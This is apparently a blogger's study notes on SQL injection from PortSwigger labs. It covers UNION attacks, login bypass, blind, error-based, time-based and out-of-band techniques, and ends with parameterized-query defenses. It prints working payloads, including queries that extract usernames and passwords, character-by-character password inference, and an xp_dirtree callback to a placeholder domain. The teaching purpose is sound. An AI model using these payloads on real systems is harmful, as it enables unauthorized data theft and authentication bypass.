October 10, 2026
SQL Injection Explained: From UNION Attacks to Blind SQLi
My practical learning notes from PortSwigger Web Security Academy

By Aditya Pandey
12 min read
SQL injection remains one of the most important vulnerabilities to understand in web application security. It occurs when an application incorporates untrusted input into a SQL query without handling that input safely.
While learning SQL injection through PortSwigger Web Security Academy, I explored how attackers can manipulate database queries, bypass application logic, retrieve hidden information, and infer sensitive data even when database results are not directly visible.
In this article, I'll walk through the essential concepts, techniques, and prevention methods I learned along the way.
Disclaimer: The examples in this article are intended for authorized security testing and educational labs. Practice only on systems you own or have explicit permission to test.
1. What Is SQL Injection?
SQL injection (SQLi) is a web security vulnerability that allows an attacker to interfere with SQL queries made by an application.
Depending on the vulnerability and database permissions, successful exploitation may allow an attacker to:
- Retrieve data belonging to other users.
- Access hidden or restricted records.
- Bypass authentication.
- Modify or delete database records.
- In certain situations, compromise the underlying server or perform denial-of-service attacks.
The root problem is usually the unsafe construction of SQL queries using user-controlled input.
2. How to Detect SQL Injection
When testing an application, examine every user-controlled input that may reach a database query.
Useful detection approaches include:
- Single quotes ('): Check for SQL errors or unusual behavior.
- SQL syntax manipulation: Compare normal requests with modified requests.
- Boolean conditions: Compare
OR 1=1withOR 1=2. - Time delays: Observe whether specific conditions change response times.
- Out-of-band testing (OAST): Monitor for unexpected network interactions.
- Burp Scanner: Automate detection of many common SQL injection vulnerabilities.
Always compare responses carefully. A difference may indicate a vulnerability, but it should be verified rather than assumed.
3. SQL Injection Can Occur in Different Parts of a Query
SQL injection is not limited to the WHERE clause.
It can occur wherever unsafe input influences SQL query construction, including:
SELECTstatements: values, conditions, table names, column names, andORDER BY.UPDATEstatements: updated values and conditions.INSERTstatements: inserted values.
The important lesson: Test every relevant input point, not just search boxes and URL parameters.
4. Retrieving Hidden Data
Consider this SQL query:
SELECT * FROM products
WHERE category = 'Gifts' AND released = 1SELECT * FROM products
WHERE category = 'Gifts' AND released = 1Here, category = 'Gifts' filters products by category, while released = 1 excludes unreleased products.
What happens if an attacker can manipulate the query?
Bypassing the release filter
Example input:
Gifts'--Gifts'--The resulting query may become:
SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1In database systems where -- is recognized as a comment marker, the remaining query text is ignored. The release condition is effectively removed.
Returning all products
Another example is:
Gifts'+OR+1=1--Gifts'+OR+1=1--This can produce:
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1Since 1=1 is always true, the condition can return products beyond the intended category.
These examples demonstrate how SQL injection can bypass application filters by changing the logic of the original query.
Important: Similar conditions in UPDATE or DELETE statements can affect unintended records, making unsafe SQL construction particularly dangerous.
5. Subverting Application Logic: Authentication Bypass
Consider a login query:
SELECT * FROM users
WHERE username = 'wiener' AND password = 'bluecheese'SELECT * FROM users
WHERE username = 'wiener' AND password = 'bluecheese'Both the username and password are checked.
In a vulnerable application, an input such as the following may alter the query:
administrator'--administrator'--The resulting query could become:
SELECT * FROM users
WHERE username = 'administrator'--' AND password = ''SELECT * FROM users
WHERE username = 'administrator'--' AND password = ''The comment removes the password condition from the effective query.
If the application relies on this query to authenticate users, the attacker may be able to bypass authentication.
The underlying issue is not simply a weak password. It is that untrusted input can alter the intended SQL query structure.
6. Understanding UNION-Based SQL Injection
A UNION attack allows an SQL query to combine the results of multiple SELECT statements.
For example:
SELECT a, b FROM table1
UNION
SELECT c, d FROM table2SELECT a, b FROM table1
UNION
SELECT c, d FROM table2The results are combined into one result set.
For a UNION attack to work, two requirements must be met:
- Both queries must return the same number of columns.
- Corresponding columns must have compatible data types.
Before attempting to retrieve data, determine the number of columns returned by the original query and identify which columns can accept the desired data type.
Determining the number of columns
One approach is to test increasing numbers of NULL values:
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--If the third query succeeds where the earlier attempts fail, the original query likely returns three columns.
NULL is useful because it is compatible with many SQL data types.
However, an error or changed response is not definitive proof by itself. Query structure, database syntax, and application behavior can also affect the result.
Database-specific syntax
SQL syntax differs between database systems.
For Oracle, a SELECT statement generally requires a FROM clause. The built-in DUAL table can be used:
' UNION SELECT NULL FROM DUAL--' UNION SELECT NULL FROM DUAL--For MySQL, the -- comment marker must be followed by whitespace:
' UNION SELECT NULL--' UNION SELECT NULL--MySQL also supports # for single-line comments:
' UNION SELECT NULL#' UNION SELECT NULL#These differences matter because a payload that works on one database may fail on another.
Finding a column that accepts strings
Suppose the original query returns four columns. You can test string compatibility by placing 'a' in one column at a time:
' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--If the application displays 'a' without a type error, the tested column may accept string data.
Once the column count and compatible data types are known, a UNION query can potentially retrieve data from another table.
For example, in an authorized lab where the schema is known:
' UNION SELECT username, password FROM users--' UNION SELECT username, password FROM users--This example assumes the original query returns two compatible columns and that the specified table and columns exist.
Retrieving multiple values through one column
Sometimes the query exposes only one usable column. String concatenation can combine multiple values into one result.
For Oracle:
' UNION SELECT username || '~' || password FROM users--' UNION SELECT username || '~' || password FROM users--The || operator concatenates strings, while ~ separates the values.
Example output:
administrator~s3cure
wiener~peter
carlos~montoyaadministrator~s3cure
wiener~peter
carlos~montoyaThe general lesson is that the output structure of a vulnerable query determines how information can be retrieved.
7. Examining the Database Structure
Before exploiting an unknown database, you may need to identify its database management system, version, tables, and columns.
Identifying the database version
Common version queries include:
DatabaseVersion queryMicrosoft SQL ServerSELECT @@versionMySQLSELECT @@versionOracleSELECT * FROM v$versionPostgreSQLSELECT version()
Identifying the DBMS helps determine which SQL syntax and functions are available.
Discovering tables and columns
Many database systems expose metadata through information_schema.
To list tables:
SELECT * FROM information_schema.tablesSELECT * FROM information_schema.tablesTo inspect the columns of a table:
SELECT * FROM information_schema.columns
WHERE table_name = 'Users'SELECT * FROM information_schema.columns
WHERE table_name = 'Users'These metadata views can reveal table names, column names, and data types.
Oracle uses different metadata mechanisms, so the same queries are not universally applicable.
Key lesson: Database fingerprinting and schema discovery help you understand the backend before conducting further authorized testing.
8. Blind SQL Injection: Extracting Information Without Visible Results
Not every SQL injection vulnerability displays database results or errors.
This is where blind SQL injection becomes important.
Blind SQLi occurs when an application is vulnerable to SQL injection, but the HTTP response does not directly reveal the query results.
Three major techniques are:
- Boolean-based blind SQLi.
- Time-based blind SQLi.
- Out-of-band application security testing (OAST).
Boolean-based blind SQLi
Imagine an application that uses a tracking cookie:
Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4The backend might execute:
SELECT TrackingId FROM TrackedUsers
WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'SELECT TrackingId FROM TrackedUsers
WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'When the tracking identifier is recognized, the application displays:
Welcome backWelcome backIf the response changes depending on whether a query returns a record, that behavior can become an information channel.
Consider two conditions:
...xyz' AND '1'='1
...xyz' AND '1'='2...xyz' AND '1'='1
...xyz' AND '1'='2The first condition is true, while the second is false.
If the application responds differently to these conditions, repeated tests can reveal information even though the database results themselves remain hidden.
Extracting data character by character
Suppose an authorized lab asks you to infer the first character of a password.
A conditional query might look like:
xyz' AND SUBSTRING(
(SELECT Password FROM Users WHERE Username = 'Administrator'),
1, 1
) > 'mxyz' AND SUBSTRING(
(SELECT Password FROM Users WHERE Username = 'Administrator'),
1, 1
) > 'mIf the application indicates that the condition is true, the first character compares greater than m under the database's comparison rules.
You can test other characters or comparison boundaries until you narrow down the result.
An equality test could be:
xyz' AND SUBSTRING(
(SELECT Password FROM Users WHERE Username = 'Administrator'),
1, 1
) = 'sxyz' AND SUBSTRING(
(SELECT Password FROM Users WHERE Username = 'Administrator'),
1, 1
) = 'sIf the condition evaluates to true, the first character is s.
Repeating the process for positions two, three, and onward can reconstruct the value.
The function may be named SUBSTR rather than SUBSTRING in some databases, and character comparison behavior can depend on the DBMS and collation.
The key concept is that a seemingly simple difference in application behavior can reveal database information one character at a time.
9. Error-Based SQL Injection
Error-based SQL injection uses database errors as an information channel.
Two important forms are conditional errors and verbose SQL errors.
Conditional errors
Sometimes an application returns the same response whether a query finds a record or not. Boolean-based testing may therefore provide no useful signal.
Instead, an injected condition can be designed to cause a database error only when that condition is true.
Conceptually:
Condition TRUE โ Error occurs
Condition FALSE โ No errorCondition TRUE โ Error occurs
Condition FALSE โ No errorFor example, a database expression using CASE may conditionally evaluate a division by zero:
xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='axyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='aHere, 1=2 is false, so the expression selects 'a'.
Compare it with:
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='axyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='aHere, the true condition selects the division-by-zero expression, potentially producing an error.
The exact behavior depends on the database engine and how the application handles errors.
Using conditional errors to infer password characters
The same principle can be applied to a character comparison:
xyz' AND (
SELECT CASE
WHEN (
Username='Administrator'
AND SUBSTRING(Password,1,1) > 'm'
)
THEN 1/0
ELSE 'a'
END
FROM Users
)='a'xyz' AND (
SELECT CASE
WHEN (
Username='Administrator'
AND SUBSTRING(Password,1,1) > 'm'
)
THEN 1/0
ELSE 'a'
END
FROM Users
)='a'The response indicates whether the condition triggered an error.
Condition TRUE โ Error occurs
Condition FALSE โ No errorCondition TRUE โ Error occurs
Condition FALSE โ No errorRepeated tests can reveal information character by character.
For Oracle, conditional errors can use Oracle-specific syntax, such as TO_CHAR(1/0) inside a CASE expression:
XYZ' AND (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE 'a' END FROM dual)='aXYZ' AND (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE 'a' END FROM dual)='aA corresponding false condition is:
xyz' AND (SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE 'a' END FROM dual)='axyz' AND (SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE 'a' END FROM dual)='aDatabase-specific behavior matters, so expressions should be tested in the appropriate lab environment.
Verbose SQL errors
Verbose errors may reveal the structure of a query or even expose data.
For example:
Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = '''. Expected charUnterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = '''. Expected charThis error provides clues about the query structure and where user input is inserted.
It may reveal that the injection point is inside a single-quoted string in the WHERE clause.
In some situations, the error message exposes data returned by a query. One possible technique involves CAST():
CAST((SELECT example_column FROM example_table) AS int)CAST((SELECT example_column FROM example_table) AS int)If the selected value is a string that cannot be converted to an integer, an error might reveal the value:
ERROR: invalid input syntax for type integer: "Example data"ERROR: invalid input syntax for type integer: "Example data"This depends on the database, its error messages, and the application's error-handling configuration.
Key distinction: Conditional errors provide a true/false signal, while verbose errors may directly expose query details or database values.
10. Time-Based Blind SQL Injection
What if the application hides query results and handles database errors gracefully?
Time-based blind SQLi uses response timing as an information channel.
The principle is straightforward:
Condition TRUE โ Delay occurs
Condition FALSE โ Normal responseCondition TRUE โ Delay occurs
Condition FALSE โ Normal responseFor Microsoft SQL Server, a conditional delay can be tested with:
'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--The first condition is false, so the delay should not occur. The second is true, so execution should wait for ten seconds if the statement is evaluated as intended.
A character comparison can use the same principle:
'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--If the condition is true, the response is delayed.
In real testing, network latency, application load, caching, and asynchronous processing can complicate timing measurements. Use repeated comparisons and controlled tests rather than relying on a single slow response.
Time-delay syntax also varies across database engines.
11. Out-of-Band SQL Injection (OAST)
Sometimes HTTP responses reveal no useful information, database errors are hidden, and response timing does not provide a reliable signal.
Out-of-band testing offers another approach.
OAST detects network interactions triggered by the vulnerable application or database. DNS is a common channel because systems frequently use DNS for ordinary network operations.
The basic workflow is:
- Generate a unique callback domain using an authorized testing service.
- Send a database-specific test payload.
- Monitor the callback service for network interactions.
- Correlate any interaction with the test request.
For example, Microsoft SQL Server may support the xp_dirtree procedure, which can trigger a network lookup in suitable configurations:
'; exec master..xp_dirtree '//YOUR-UNIQUE-COLLABORATOR-DOMAIN/a'--'; exec master..xp_dirtree '//YOUR-UNIQUE-COLLABORATOR-DOMAIN/a'--Replace the placeholder with a domain generated for your own authorized test.
A matching DNS interaction can confirm that the injected input triggered an out-of-band request.
Burp Collaborator can help detect these interactions. Its built-in client is available with Burp Suite Professional.
OAST-based data exfiltration
In certain vulnerable configurations, an out-of-band request may carry data within the requested hostname.
For example, a SQL Server payload may retrieve a database value, place it in a variable, and use it to construct a callback domain.
This technique depends on database permissions, available procedures, network access, and DNS restrictions. It is not guaranteed to work in every environment.
The distinction between the major blind SQLi techniques is:
TechniqueInformation channelBoolean-basedResponse differencesTime-basedResponse timingError-basedErrors or error differencesOAST-basedOut-of-band network interactions
12. SQL Injection in JSON, XML, Cookies, and Other Inputs
SQL injection is not limited to URL parameters.
User-controlled data may enter SQL queries through:
- Cookies and tracking identifiers.
- JSON request bodies.
- XML request bodies.
- HTTP headers.
- Form fields and query strings.
For example, an XML request may contain:
<stockCheck>
<productId>123</productId>
<storeId>999 SELECT * FROM information_schema.tables</storeId>
</stockCheck><stockCheck>
<productId>123</productId>
<storeId>999 SELECT * FROM information_schema.tables</storeId>
</stockCheck>The XML character reference S represents the letter S.
After XML decoding, the text SELECT becomes SELECT.
If an application unsafely incorporates the decoded value into a SQL query, encoding the character does not prevent SQL injection.
Weak filters may also be bypassed through encoding or alternative syntax. This is why security cannot rely on blocking a handful of SQL keywords.
Always inspect the complete HTTP request, including cookies, headers, query parameters, and request bodies.
13. Second-Order SQL Injection
Second-order SQL injection, also called stored SQL injection, occurs when input is stored first and becomes dangerous during later processing.
The flow looks like this:
- A user submits crafted input.
- The application stores the input.
- A later operation retrieves the stored value.
- The application incorporates it unsafely into another SQL query.
- SQL injection occurs during the later operation.
This differs from first-order SQL injection, where the unsafe query is executed during the initial request.
The important lesson is that stored data is not automatically trustworthy. Previously saved values must still be handled safely whenever they are used in SQL.
Further reading: PortSwigger: SQL injection
14. How to Prevent SQL Injection
Understanding exploitation is only half the job. The other half is learning how to prevent it.
The most important defense is to use parameterized queries, also known as prepared statements, instead of concatenating untrusted input directly into SQL strings.
Vulnerable code
String query = "SELECT * FROM products WHERE category = '"+ input + "'";
Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery(query);String query = "SELECT * FROM products WHERE category = '"+ input + "'";
Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery(query);Here, the input is concatenated directly into the query. Crafted input may change the query's intended structure.
Secure code
PreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE category = ?");
statement.setString(1, input);
ResultSet resultSet = statement.executeQuery();PreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE category = ?");
statement.setString(1, input);
ResultSet resultSet = statement.executeQuery();The ? is a parameter placeholder, and setString(1, input) binds the input as a value rather than SQL syntax.
This separates the query structure from the data supplied to it.
Important limitations and additional defenses
Parameterized queries work for values in places such as WHERE, INSERT, and UPDATE statements. They generally cannot be used as ordinary value placeholders for dynamic table names, column names, or sort directions.
For those cases:
- Use an allowlist of permitted identifiers.
- Prefer predefined query structures.
- Avoid building SQL statements through string concatenation.
- Do not rely on escaping alone as the primary defense.
- Apply safe query construction consistently, including when using data retrieved from your own database.
15. My Key Takeaways from PortSwigger Web Security Academy
Working through these topics helped me understand SQL injection as much more than a collection of payloads.
The most important lessons I took away are:
- Understand the query: Knowing where input enters an SQL statement helps explain why an injection works.
- Test systematically: Boolean comparisons, column-count testing, and database fingerprinting provide structured ways to investigate a suspected vulnerability.
- Understand the information channel: UNION attacks, boolean responses, conditional errors, timing, and OAST reveal information in different ways.
- Know the database: Syntax and available functions differ across DBMS platforms.
- Inspect the complete request: Cookies, JSON, XML, headers, and stored values can all matter.
- Focus on prevention: Parameterized queries and allowlisted dynamic identifiers address the underlying problem.
SQL injection testing is not about memorizing one magic payload. It is about understanding how applications build queries, observing how the application behaves, and reasoning from that evidence.
Final Thoughts
Completing the SQL injection learning path on PortSwigger Web Security Academy was an important step in my web application security journey.
From retrieving hidden records and understanding UNION attacks to exploring blind SQL injection, conditional errors, time delays, and out-of-band techniques, each concept added another piece to my understanding of database security.
My next goal is to keep applying these concepts in authorized labs, improve my methodology, and strengthen my ability to identify and explain vulnerabilities clearly.
Keep learning. Keep testing. Keep building.
Hacking every day. Learning with purpose.
References
- PortSwigger Web Security Academy: SQL Injection
- PortSwigger SQL Injection Cheat Sheet
- PortSwigger: Second-Order SQL Injection
Practice responsibly. Only test applications you own or have explicit authorization to assess.